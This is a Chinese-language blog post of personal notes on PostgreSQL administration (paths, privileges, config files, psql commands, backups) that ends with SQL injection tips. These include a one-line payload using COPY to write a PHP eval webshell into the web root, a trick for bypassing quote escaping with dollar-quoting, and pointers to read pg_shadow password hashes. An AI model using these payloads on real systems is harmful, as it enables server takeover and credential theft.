postgresql注入和管理小記

2021-12-29 22:20:12 字數 3650 閱讀 8799

author:lengf  posttime:2011-08-17

相信大家平時關注最多的是mysql和mssql,當然了oracle也已經備受關注。但是一些比較「少見」的資料庫,比如db2,postgresql,sybase ase,informix。如果不知道這些資料庫的特性就沒辦法談注入和管理了。那麼本文只是個人學習筆記的一部分,因為碰到了postgresql了所以就認真看了官方相關文件及一些網路文件。實踐並總結了這些分享與大家。本文只描述在linux平台的postgresql

1.postgresql概述

postgresq是從berkeley的postgres 專案衍生出的rdbms,早期版本是4.2和postgresql 95,新版本替換了查詢語言為sql(原本是postquel),並增加了乙個互動式的psql。本次測試平台是postgresql8.4+ubuntu 10.04上。

基本資訊:

(1)一般預設安裝路徑

/usr/local/pgsql

/var/lib/pgsql

/usr/lib/postgresql/8.4      # 這是我ubuntu下的預設路徑

/usr/syno/pgsql/              # synolog nas的預設路徑

如果不知道安裝在那裡可以通過下面命令:(同樣也可以用find命令)

whereis postgresql

返回:postgresql: /etc/postgresql /usr/lib/postgresql /usr/share/postgresql

找到預設路徑是為了防止一些linux系統(我碰到)沒有將psql這個命令關聯的到使用者環境變數中。因為我們管理需要用到這個互動式的psql

預設埠為5432,預設情況是沒有啟用網路的,要開啟必須設定tcpip_socket為true,設定listen_address引數。可以採用ssl通訊。

(2)許可權問題

postgresql在linux下是不允許以root使用者登入和執行的(處於安全考慮)。一般預設在安裝過程會建立乙個使用者postgres的使用者,這個使用者許可權比較低。說到許可權問題必須說到幾個關鍵的術語:前端(客戶機)、postmaster和後端,必須分清楚,postmaster和後端是不同的,儘管可能用相同的程式實現。前端首先和postmaster通訊,指定他要連線資料庫,postmaster會驗證訪問是否得到允許,一旦前端通過身份認證,postmaster會生成乙個後端 程序將連線移交過去。隨後查詢和結果將在前端和後端之間發生。postmaster不再參與。

(3)檔案目錄

這裡只列出安全相關的檔案,包括配置檔案和資料庫本身存放data目錄,這些目錄值有時候會被賦給$pgdata的環境變數,所以有時候你找到資料和配置檔案放在那裡可以嘗試執行命令:

echo $pgdata

本次我測試的沒有這個環境變數,因為我沒有資料庫和配置資訊。下面列出重要幾個檔案

/data/pg_hda.conf   # 允許和拒絕訪問資料的記錄,包括認證方法

/data/postmaster.conf #postmaster的配置

/data/pg_ident.conf  # 資料庫使用者和系統使用者對映資訊

/data/pg_version   # 版本資訊

/global/pg_database  # 資料庫名和路徑的對映關係

預設的資料庫名有:

"template1"   

"template0"

"postgres"

/global/pg_group   # 使用者組

/global/pg_pwd      # 使用者名稱

/global/pg_shadow  #  使用者密碼

不同環境下目錄有存在差異,需要自己查詢靈活變通。

2.簡單的管理

首先你不能通過root賬戶管理,必須切換到乙個執行postgresql最高或者低於這個許可權使用者(當然要有對映關係),常見使用者是postgres和admin,使用命令:

su -l postgres

然後執行:

/usr/lib/postgresql/8.4/bin/psql 資料庫|為空

如果後面跟乙個存在的資料就表示管理該資料庫,如果沒有就是和使用者名稱一樣的資料庫名。常用命令如下:

\copyright     # 版本

\h  # 命令幫助,和help一樣

\?  # 檢視psql命令

\q  # 退出當前管理

進入後輸入\? 檢視psql幫助,如下:

\e [file]              # 利用外部編輯器編輯緩衝區的檔案或者sql

\f [funcname]   # 函式編輯

\p                    # 顯示查詢緩衝區

\r                    # 清楚查詢緩衝區

\s [file]           # 顯示歷史或者儲存到檔案

\w file            # 將查詢寫入檔案

\copy ...              perform sql copy with data stream to the client host

\echo [string]         write string to standard output

\i file                # 從檔案執行命令

\o [file]              # 傳送所有查詢結果到檔案

在資料庫經常使用命令如下:

\l                # 列出當前資料庫所有的資料庫名

\c 資料庫    # 連線資料庫

\dt             # 顯示所有表名

\d 表名       # 顯示表名

其他sql語句和其他資料庫類似我就不贅述了。

3.匯出和匯入資料庫

匯出資料庫:

pg_dump database >/home/lengf/pgbackup/database.bak  # 指定資料庫備份

pg_dumpall >/home/lengf/pgbackup/all.bak   # 備份所有資料庫

pg_dump database|split -b 500 >/home/lengf/pgbackup/database.bak  # 備份並以500kb分割備份檔案

匯入資料庫:

createdb lengf;

psql < 備份檔案路徑;

基本管理就說了這些。

3.postgresql注入特性

[1]注入sql語法基本和其他基本一樣

[2]支援/*、/**/、–注釋,;和\g表示語句結束,連線字串用||(類似於mssql中的+)

[3]內建函式:current_database(),session_user,current_user

[4]不要忘記查詢下pg_user、pg_group、pg_shadow,還有上面的pg_database

[5]寫檔案可以和其他資料庫一樣,但是你還記得我上面的copy命令?

copy (select 『<?php eval($_post[a]);?>』) to 『/var/www/lf.php』

[6]照樣可以讀檔案pg_read_file函式,不過一般比較雞肋,不推薦

[7]常見架構是php+postgresql,所以我們必須考慮gpc,但是不要怕,我們可以把需要用到單引號的地方換成$即可成功繞過了。

4.總結

[1]

Postgresql注入語法指南

copy from 在注入中常用的幾個注入語法通常有這麼幾個 顯示版本 從已知表段字段爆資料 列庫 列資料庫中的表段 列表段中的字段 讀取配置資訊,例如資料庫登陸賬戶和密碼 讀寫檔案 那我就乙個乙個來講這些postgresql的語法是怎樣的 顯示版本 default select version u...

PostgreSQL資料庫的注入

目錄 postgresql postgresql常用查詢命令 布林盲注 錯誤注入 堆疊注入 時間盲注 聯合查詢 postgresql是一種特性非常齊全的自由軟體的物件 關係型資料庫管理系統 ordbms 4.2版本為基礎的物件關係型資料庫管理系統。postgresql安裝後,預設的埠是 5432,預...

PostgreSQL和SQLServer的一些差異

postgresql和sql server的模糊匹配like是不一樣的,postgresql的like是區分大小寫的,sql server不區分。測試如下 構造資料sql create table t user id integer primary key,name varchar 50 not n...